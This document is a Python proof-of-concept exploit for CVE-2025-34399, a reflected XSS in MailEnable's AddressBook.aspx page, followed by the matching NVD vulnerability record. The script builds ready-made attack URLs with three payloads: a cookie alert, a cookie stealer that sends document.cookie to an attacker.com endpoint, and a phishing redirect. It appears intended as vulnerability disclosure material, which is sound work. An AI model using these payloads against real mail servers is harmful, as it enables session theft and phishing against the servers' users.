CVE-2025-34399

import urllib.parse # CVE-2025-34399 PoC - MailEnable Reflected XSS in AddressesCc parameter # Target: MailEnable < 10.54 # Path: /Mondo/lang/sys/Forms/AddressBook.aspx def generate_xss_payload(): """ Generate XSS payload for AddressesCc parameter The payload terminates the existing LoadCurAddresses() function, executes attacker-controlled script, and comments out remaining code """ # Basic XSS payload - executes alert with cookie basic_payload = "';alert(document.cookie);//" # More sophisticated payload - steals data and sends to attacker steal_payload = "';(function(){var x=new XMLHttpRequest();x.open('POST','https://attacker.com/steal',true);x.send(document.cookie);})();//" # Payload for phishing redirect redirect_payload = "';window.location='https://attacker.com/phishing';//" return basic_payload, steal_payload, redirect_payload def build_poc_url(target_url, payload): """ Build the PoC URL with XSS payload in AddressesCc parameter Args: target_url: Base URL of MailEnable server (e.g., https://mail.example.com) payload: XSS payload to inject Returns: Full malicious URL """ encoded_payload = urllib.parse.quote(payload) poc_url = f"{target_url}/Mondo/lang/sys/Forms/AddressBook.aspx?AddressesCc={encoded_payload}" return poc_url # Example usage if __name__ == "__main__": target = "https://mail.victim.com" basic, steal, redirect = generate_xss_payload() print("=== CVE-2025-34399 PoC ===") print(f"Target: {target}") print(f"Vulnerable Path: /Mondo/lang/sys/Forms/AddressBook.aspx") print(f"Vulnerable Parameter: AddressesCc") print() print("PoC URLs:") print(f"1. Basic XSS (alert): {build_poc_url(target, basic)}") print(f"2. Cookie Stealer: {build_poc_url(target, steal)}") print(f"3. Phishing Redirect: {build_poc_url(target, redirect)}")

{"cve": {"id": "CVE-2025-34399", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:50.227", "lastModified": "2025-12-09T21:38:20.723", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MailEnable versions prior to 10.54 contain a reflected cross-site scripting (XSS) vulnerability in the AddressesCc parameter of /Mondo/lang/sys/Forms/AddressBook.aspx. The AddressesCc value is not properly sanitized when processed via a GET request and is reflected within a <script> block in the JavaScript variable var sAddrCc. By supplying a crafted payload that terminates the existing LoadCurAddresses() function, inserts attacker-controlled script, and comments out remaining code, a remote attacker can execute arbitrary JavaScript in a victim’s browser when the victim attempts to send an email. Successful exploitation can redirect victims to malicious sites, steal non-HttpOnly cookies, inject arbitrary HTML or CSS, and perform actions as the authenticated user."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mailenable:mailenable:*:*:*:*:standard:*:*:*", "versionEndExcluding": "10.54", "matchCriteriaId": "E4DAB799-EDB6-48D7-A7FD-77D9910CB308"}]}]}], "references": [{"url": "https://mailenable.com/Standard-ReleaseNotes.txt", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.mailenable.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/mailenable-reflected-xss-in-addressescc-parameter-of-addressbook-aspx", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}